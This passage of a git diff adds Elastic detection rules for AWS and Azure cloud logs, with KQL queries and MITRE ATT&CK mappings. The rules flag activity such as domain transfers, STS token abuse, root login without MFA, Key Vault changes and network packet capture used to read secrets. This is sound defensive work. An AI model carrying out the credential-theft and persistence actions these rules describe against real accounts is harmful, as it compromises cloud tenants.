exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS RDS Security Group Creation" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_CreateDBSecurityGroup.html"] +risk_score = 21 +rule_id = "378f9024-8a0c-46a5-aa08-ce147ac73a4e" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Monitoring"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:rds.amazonaws.com and event.action:CreateDBSecurityGroup and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1136" +name = "Create Account" +reference = "https://attack.mitre.org/techniques/T1136/" +[[rule.threat.technique.subtechnique]] +id = "T1136.003" +name = "Cloud Account" +reference = "https://attack.mitre.org/techniques/T1136/003/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/integrations/aws/persistence_rds_instance_creation.toml b/rules/integrations/aws/persistence_rds_instance_creation.toml new file mode 100644 index 000000000..07a3b184d --- /dev/null +++ b/rules/integrations/aws/persistence_rds_instance_creation.toml @@ -0,0 +1,46 @@ +[metadata] +creation_date = "2021/06/06" +maturity = "production" +updated_date = "2021/09/30" +integration = "aws" + +[rule] +author = ["Elastic", "Austin Songer"] +description = "Identifies the creation of an Amazon Relational Database Service (RDS) Aurora database instance." +false_positives = [ + """ + A database instance may be created by a system or network administrator. Verify whether the user identity, user + agent, and/or hostname should be making changes in your environment. Instances creations by unfamiliar users or + hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS RDS Instance Creation" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_CreateDBInstance.html"] +risk_score = 21 +rule_id = "f30f3443-4fbb-4c27-ab89-c3ad49d62315" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Asset Visibility"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:rds.amazonaws.com and event.action:CreateDBInstance and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/integrations/aws/persistence_route_53_domain_transfer_lock_disabled.toml b/rules/integrations/aws/persistence_route_53_domain_transfer_lock_disabled.toml new file mode 100644 index 000000000..d40018ebb --- /dev/null +++ b/rules/integrations/aws/persistence_route_53_domain_transfer_lock_disabled.toml @@ -0,0 +1,64 @@ +[metadata] +creation_date = "2021/05/10" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic", "Austin Songer"] +description = """ +Identifies when a transfer lock was removed from a Route 53 domain. It is recommended to refrain from performing this +action unless intending to transfer the domain to a different registrar. +""" +false_positives = [ + """ + A domain transfer lock may be disabled by a system or network administrator. Verify whether the user identity, user + agent, and/or hostname should be making changes in your environment. Activity from unfamiliar users or hosts should + be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS Route 53 Domain Transfer Lock Disabled" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.aws.amazon.com/Route53/latest/APIReference/API_Operations_Amazon_Route_53.html", + "https://docs.aws.amazon.com/Route53/latest/APIReference/API_domains_DisableDomainTransferLock.html", +] +risk_score = 21 +rule_id = "12051077-0124-4394-9522-8f4f4db1d674" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Asset Visibility"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:route53.amazonaws.com and event.action:DisableDomainTransferLock and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1098" +name = "Account Manipulation" +reference = "https://attack.mitre.org/techniques/T1098/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + diff --git a/rules/integrations/aws/persistence_route_53_domain_transferred_to_another_account.toml b/rules/integrations/aws/persistence_route_53_domain_transferred_to_another_account.toml new file mode 100644 index 000000000..e81b9391c --- /dev/null +++ b/rules/integrations/aws/persistence_route_53_domain_transferred_to_another_account.toml @@ -0,0 +1,59 @@ +[metadata] +creation_date = "2021/05/10" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic", "Austin Songer"] +description = "Identifies when a request has been made to transfer a Route 53 domain to another AWS account." +false_positives = [ + """ + A domain may be transferred to another AWS account by a system or network administrator. Verify whether the user + identity, user agent, and/or hostname should be making changes in your environment. Domain transfers from unfamiliar + users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the + rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS Route 53 Domain Transferred to Another Account" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://docs.aws.amazon.com/Route53/latest/APIReference/API_Operations_Amazon_Route_53.html"] +risk_score = 21 +rule_id = "2045567e-b0af-444a-8c0b-0b6e2dae9e13" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Asset Visibility"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:route53.amazonaws.com and event.action:TransferDomainToAnotherAwsAccount and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1098" +reference = "https://attack.mitre.org/techniques/T1098/" +name = "Account Manipulation" + + +[rule.threat.tactic] +id = "TA0003" +reference = "https://attack.mitre.org/tactics/TA0003/" +name = "Persistence" +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0006" +reference = "https://attack.mitre.org/tactics/TA0006/" +name = "Credential Access" + diff --git a/rules/integrations/aws/persistence_route_53_hosted_zone_associated_with_a_vpc.toml b/rules/integrations/aws/persistence_route_53_hosted_zone_associated_with_a_vpc.toml new file mode 100644 index 000000000..fd4fb5ae5 --- /dev/null +++ b/rules/integrations/aws/persistence_route_53_hosted_zone_associated_with_a_vpc.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2021/07/19" +maturity = "production" +updated_date = "2021/07/19" +integration = "aws" + +[rule] +author = ["Austin Songer"] +description = "Identifies when a Route53 private hosted zone has been associated with VPC." +false_positives = [ + """ + A private hosted zone may be asssociated with a VPC by a system or network administrator. Verify whether the user + identity, user agent, and/or hostname should be making changes in your environment. If known behavior is + causing false positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS Route53 private hosted zone associated with a VPC" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://docs.aws.amazon.com/Route53/latest/APIReference/API_AssociateVPCWithHostedZone.html"] +risk_score = 21 +rule_id = "e3c27562-709a-42bd-82f2-3ed926cced19" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Asset Visibility"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:route53.amazonaws.com and event.action:AssociateVPCWithHostedZone and +event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1098" +reference = "https://attack.mitre.org/techniques/T1098/" +name = "Account Manipulation" + +[rule.threat.tactic] +id = "TA0003" +reference = "https://attack.mitre.org/tactics/TA0003/" +name = "Persistence" + diff --git a/rules/integrations/aws/persistence_route_table_created.toml b/rules/integrations/aws/persistence_route_table_created.toml new file mode 100644 index 000000000..d260aeb4a --- /dev/null +++ b/rules/integrations/aws/persistence_route_table_created.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2021/06/05" +maturity = "production" +updated_date = "2021/10/15" +integration = "aws" + +[rule] +author = ["Elastic", "Austin Songer"] +description = "Identifies when an AWS Route Table has been created." +false_positives = [ + """ + Route Tables may be created by a system or network administrators. Verify whether the user identity, user + agent, and/or hostname should be making changes in your environment. Route Table creation by unfamiliar users or + hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + Automated processes that use Terraform may lead to false positives. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS Route Table Created" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.datadoghq.com/security_platform/default_rules/cloudtrail-aws-route-table-modified/", + "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateRoute.html", + "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateRouteTable", +] +risk_score = 21 +rule_id = "e12c0318-99b1-44f2-830c-3a38a43207ca" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Network Security"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:cloudtrail.amazonaws.com and event.action:(CreateRoute or CreateRouteTable) and +event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0003/" +name = "Persistence" +id = "TA0003" diff --git a/rules/integrations/aws/persistence_route_table_modified_or_deleted.toml b/rules/integrations/aws/persistence_route_table_modified_or_deleted.toml new file mode 100644 index 000000000..2ee0f37bd --- /dev/null +++ b/rules/integrations/aws/persistence_route_table_modified_or_deleted.toml @@ -0,0 +1,54 @@ +[metadata] +creation_date = "2021/06/05" +maturity = "production" +updated_date = "2021/10/05" +integration = "aws" + +[rule] +author = ["Elastic", "Austin Songer"] +description = "Identifies when an AWS Route Table has been modified or deleted." +false_positives = [ + """ + Route Table could be modified or deleted by a system administrator. Verify whether the user identity, + user agent, and/or hostname should be making changes in your environment. Route Table being modified + from unfamiliar users should be investigated. If known behavior is causing false positives, it can be + exempted from the rule. Also automated processes that use Terraform may lead to false positives. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS Route Table Modified or Deleted" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://github.com/easttimor/aws-incident-response#network-routing", + "https://docs.datadoghq.com/security_platform/default_rules/cloudtrail-aws-route-table-modified", + "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ReplaceRoute.html", + "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ReplaceRouteTableAssociation", + "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DeleteRouteTable.html", + "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DeleteRoute.html", + "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DisassociateRouteTable.html", +] +risk_score = 21 +rule_id = "e7cd5982-17c8-4959-874c-633acde7d426" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Network Security"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:cloudtrail.amazonaws.com and event.action:(ReplaceRoute or ReplaceRouteTableAssociation or +DeleteRouteTable or DeleteRoute or DisassociateRouteTable) and event.outcome:success +''' + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0003/" +name = "Persistence" +id = "TA0003" diff --git a/rules/integrations/aws/privilege_escalation_aws_suspicious_saml_activity.toml b/rules/integrations/aws/privilege_escalation_aws_suspicious_saml_activity.toml new file mode 100644 index 000000000..5fb7e84c7 --- /dev/null +++ b/rules/integrations/aws/privilege_escalation_aws_suspicious_saml_activity.toml @@ -0,0 +1,71 @@ +[metadata] +creation_date = "2021/09/22" +maturity = "production" +updated_date = "2021/09/22" +integration = "aws" + +[rule] +author = ["Austin Songer"] +description = """ +Identifies when SAML activity has occurred in AWS. An adversary could manipulate SAML to maintain access to the target. +""" +false_positives = [ + """ + SAML Provider could be updated by a system administrator. Verify whether the user identity, user agent, and/or + hostname should be making changes in your environment. SAML Provider updates by unfamiliar users should + be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-25m" +index = ["filebeat-*", "logs-aws*"] +language = "kuery" +license = "Elastic License v2" +name = "AWS SAML Activity" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateSAMLProvider.html", + "https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithSAML.html", +] +risk_score = 21 +rule_id = "979729e7-0c52-4c4c-b71e-88103304a79f" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:(iam.amazonaws.com or sts.amazonaws.com) and event.action:(Assumerolewithsaml or +UpdateSAMLProvider) and event.outcome:success +''' + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1550" +name = "Use Alternate Authentication Material" +reference = "https://attack.mitre.org/techniques/T1550/" +[[rule.threat.technique.subtechnique]] +id = "T1550.001" +name = "Application Access Token" +reference = "https://attack.mitre.org/techniques/T1550/001/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" + diff --git a/rules/integrations/aws/privilege_escalation_root_login_without_mfa.toml b/rules/integrations/aws/privilege_escalation_root_login_without_mfa.toml new file mode 100644 index 000000000..37026f7c3 --- /dev/null +++ b/rules/integrations/aws/privilege_escalation_root_login_without_mfa.toml @@ -0,0 +1,56 @@ +[metadata] +creation_date = "2020/07/06" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic"] +description = """ +Identifies attempts to login to AWS as the root user without using multi-factor authentication (MFA). Amazon AWS best +practices indicate that the root user should be protected by MFA. +""" +false_positives = [ + """ + Some organizations allow login with the root user without MFA, however, this is not considered best practice by AWS + and increases the risk of compromised credentials. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS Root Login Without MFA" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html"] +risk_score = 73 +rule_id = "bc0c6f0d-dab0-47a3-b135-0925f0a333bc" +severity = "high" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:signin.amazonaws.com and event.action:ConsoleLogin and + aws.cloudtrail.user_identity.type:Root and + aws.cloudtrail.console_login.additional_eventdata.mfa_used:false and + event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" + diff --git a/rules/integrations/aws/privilege_escalation_sts_assumerole_usage.toml b/rules/integrations/aws/privilege_escalation_sts_assumerole_usage.toml new file mode 100644 index 000000000..19c581c0e --- /dev/null +++ b/rules/integrations/aws/privilege_escalation_sts_assumerole_usage.toml @@ -0,0 +1,66 @@ +[metadata] +creation_date = "2021/05/17" +maturity = "production" +updated_date = "2021/10/05" +integration = "aws" + +[rule] +author = ["Austin Songer"] +description = """ +Identifies the use of AssumeRole. AssumeRole returns a set of temporary security credentials that can be used to access +AWS resources. An adversary could use those credentials to move laterally and escalate privileges. +""" +false_positives = [ + """ + Automated processes that use Terraform may lead to false positives. + """, +] +index = ["filebeat-*", "logs-aws*"] +language = "kuery" +license = "Elastic License v2" +name = "AWS Security Token Service (STS) AssumeRole Usage" +references = ["https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html"] +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +risk_score = 21 +rule_id = "93075852-b0f5-4b8b-89c3-a226efae5726" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:sts.amazonaws.com and event.action:AssumedRole and +aws.cloudtrail.user_identity.session_context.session_issuer.type:Role and event.outcome:success +''' + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1548" +name = "Abuse Elevation Control Mechanism" +reference = "https://attack.mitre.org/techniques/T1548/" + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1550" +name = "Use Alternate Authentication Material" +reference = "https://attack.mitre.org/techniques/T1550/" +[[rule.threat.technique.subtechnique]] +id = "T1550.001" +name = "Application Access Token" +reference = "https://attack.mitre.org/techniques/T1550/001/" + + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" diff --git a/rules/integrations/aws/privilege_escalation_sts_getsessiontoken_abuse.toml b/rules/integrations/aws/privilege_escalation_sts_getsessiontoken_abuse.toml new file mode 100644 index 000000000..dd192e563 --- /dev/null +++ b/rules/integrations/aws/privilege_escalation_sts_getsessiontoken_abuse.toml @@ -0,0 +1,72 @@ +[metadata] +creation_date = "2021/05/17" +maturity = "production" +updated_date = "2021/10/11" +integration = "aws" + +[rule] +author = ["Austin Songer"] +description = """ +Identifies the suspicious use of GetSessionToken. Tokens could be created and used by attackers to move laterally and +escalate privileges. +""" +false_positives = [ + """ + GetSessionToken may be done by a system or network administrator. Verify whether the user identity, user + agent, and/or hostname should be making changes in your environment. GetSessionToken from unfamiliar users or + hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +index = ["filebeat-*", "logs-aws*"] +language = "kuery" +license = "Elastic License v2" +name = "AWS STS GetSessionToken Abuse" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.aws.amazon.com/STS/latest/APIReference/API_GetSessionToken.html", +] + +risk_score = 21 +rule_id = "b45ab1d2-712f-4f01-a751-df3826969807" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:sts.amazonaws.com and event.action:GetSessionToken and +aws.cloudtrail.user_identity.type:IAMUser and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1548" +name = "Abuse Elevation Control Mechanism" +reference = "https://attack.mitre.org/techniques/T1548/" + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1550" +name = "Use Alternate Authentication Material" +reference = "https://attack.mitre.org/techniques/T1550/" +[[rule.threat.technique.subtechnique]] +id = "T1550.001" +name = "Application Access Token" +reference = "https://attack.mitre.org/techniques/T1550/001/" + + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" diff --git a/rules/integrations/aws/privilege_escalation_updateassumerolepolicy.toml b/rules/integrations/aws/privilege_escalation_updateassumerolepolicy.toml new file mode 100644 index 000000000..14c1f2afc --- /dev/null +++ b/rules/integrations/aws/privilege_escalation_updateassumerolepolicy.toml @@ -0,0 +1,54 @@ +[metadata] +creation_date = "2020/07/06" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic"] +description = """ +Identifies attempts to modify an AWS IAM Assume Role Policy. An adversary may attempt to modify the AssumeRolePolicy of +a misconfigured role in order to gain the privileges of that role. +""" +false_positives = [ + """ + Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Policy + updates from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can + be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS IAM Assume Role Policy Update" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://labs.bishopfox.com/tech-blog/5-privesc-attack-vectors-in-aws"] +risk_score = 21 +rule_id = "a60326d7-dca7-4fb7-93eb-1ca03a1febbd" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:iam.amazonaws.com and event.action:UpdateAssumeRolePolicy and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" + diff --git a/rules/integrations/azure/collection_update_event_hub_auth_rule.toml b/rules/integrations/azure/collection_update_event_hub_auth_rule.toml new file mode 100644 index 000000000..9c2442246 --- /dev/null +++ b/rules/integrations/azure/collection_update_event_hub_auth_rule.toml @@ -0,0 +1,68 @@ +[metadata] +creation_date = "2020/08/18" +maturity = "production" +updated_date = "2021/07/20" +integration = "azure" + +[rule] +author = ["Elastic"] +description = """ +Identifies when an Event Hub Authorization Rule is created or updated in Azure. An authorization rule is associated with +specific rights, and carries a pair of cryptographic keys. When you create an Event Hubs namespace, a policy rule named +RootManageSharedAccessKey is created for the namespace. This has manage permissions for the entire namespace and it's +recommended that you treat this rule like an administrative root account and don't use it in your application. +""" +false_positives = [ + """ + Authorization rule additions or modifications may be done by a system or network administrator. Verify whether the + username, hostname, and/or resource name should be making changes in your environment. Authorization rule additions + or modifications from unfamiliar users or hosts should be investigated. If known behavior is causing false + positives, it can be exempted from the rule. + """, +] +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Event Hub Authorization Rule Created or Updated" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://docs.microsoft.com/en-us/azure/event-hubs/authorize-access-shared-access-signature"] +risk_score = 47 +rule_id = "b6dce542-2b75-4ffb-b7d6-38787298ba9d" +severity = "medium" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Log Auditing"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.EVENTHUB/NAMESPACES/AUTHORIZATIONRULES/WRITE" and event.outcome:(Success or success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1530" +name = "Data from Cloud Storage Object" +reference = "https://attack.mitre.org/techniques/T1530/" + + +[rule.threat.tactic] +id = "TA0009" +name = "Collection" +reference = "https://attack.mitre.org/tactics/TA0009/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1537" +name = "Transfer Data to Cloud Account" +reference = "https://attack.mitre.org/techniques/T1537/" + + +[rule.threat.tactic] +id = "TA0010" +name = "Exfiltration" +reference = "https://attack.mitre.org/tactics/TA0010/" + diff --git a/rules/integrations/azure/credential_access_azure_full_network_packet_capture_detected.toml b/rules/integrations/azure/credential_access_azure_full_network_packet_capture_detected.toml new file mode 100644 index 000000000..8fec05544 --- /dev/null +++ b/rules/integrations/azure/credential_access_azure_full_network_packet_capture_detected.toml @@ -0,0 +1,61 @@ +[metadata] +creation_date = "2021/08/12" +maturity = "production" +updated_date = "2021/10/15" +integration = "azure" + + +[rule] +author = ["Austin Songer"] +description = """ +Identifies potential full network packet capture in Azure. Packet Capture is an Azure Network Watcher feature that can +be used to inspect network traffic. This feature can potentially be abused to read sensitive data from unencrypted +internal traffic. +""" +false_positives = [ + """ + Full Network Packet Capture may be done by a system or network administrator. Verify whether the user identity, + user agent, and/or hostname should be making changes in your environment. Full Network Packet Capture from unfamiliar + users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Full Network Packet Capture Detected" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations"] +risk_score = 47 +rule_id = "3ad77ed4-4dcf-4c51-8bfc-e3f7ce316b2f" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Monitoring"] +severity = "medium" +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.activitylogs and azure.activitylogs.operation_name: + ( + "MICROSOFT.NETWORK/*/STARTPACKETCAPTURE/ACTION" or + "MICROSOFT.NETWORK/*/VPNCONNECTIONS/STARTPACKETCAPTURE/ACTION" or + "MICROSOFT.NETWORK/*/PACKETCAPTURES/WRITE" + ) and +event.outcome:(Success or success) +''' + + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1040/" +name = "Network Sniffing" +id = "T1040" + + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0006/" +name = "Credential Access" +id = "TA0006" diff --git a/rules/integrations/azure/credential_access_key_vault_modified.toml b/rules/integrations/azure/credential_access_key_vault_modified.toml new file mode 100644 index 000000000..4626cf146 --- /dev/null +++ b/rules/integrations/azure/credential_access_key_vault_modified.toml @@ -0,0 +1,62 @@ +[metadata] +creation_date = "2020/08/31" +maturity = "production" +updated_date = "2021/07/20" +integration = "azure" + +[rule] +author = ["Elastic"] +description = """ +Identifies modifications to a Key Vault in Azure. The Key Vault is a service that safeguards encryption keys and secrets +like certificates, connection strings, and passwords. Because this data is sensitive and business critical, access to +key vaults should be secured to allow only authorized applications and users. +""" +false_positives = [ + """ + Key vault modifications may be done by a system or network administrator. Verify whether the username, hostname, + and/or resource name should be making changes in your environment. Key vault modifications from unfamiliar users or + hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Key Vault Modified" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/azure/key-vault/general/basic-concepts", + "https://docs.microsoft.com/en-us/azure/key-vault/general/secure-your-key-vault", +] +risk_score = 47 +rule_id = "792dd7a6-7e00-4a0a-8a9a-a7c24720b5ec" +severity = "medium" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Data Protection"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.KEYVAULT/VAULTS/WRITE" and event.outcome:(Success or success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1552" +name = "Unsecured Credentials" +reference = "https://attack.mitre.org/techniques/T1552/" +[[rule.threat.technique.subtechnique]] +id = "T1552.001" +name = "Credentials In Files" +reference = "https://attack.mitre.org/techniques/T1552/001/" + + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + diff --git a/rules/integrations/azure/credential_access_storage_account_key_regenerated.toml b/rules/integrations/azure/credential_access_storage_account_key_regenerated.toml new file mode 100644 index 000000000..75fb07e47 --- /dev/null +++ b/rules/integrations/azure/credential_access_storage_account_key_regenerated.toml @@ -0,0 +1,56 @@ +[metadata] +creation_date = "2020/08/19" +maturity = "production" +updated_date = "2021/07/20" +integration = "azure" + +[rule] +author = ["Elastic"] +description = """ +Identifies a rotation to storage account access keys in Azure. Regenerating access keys can affect any applications or +Azure services that are dependent on the 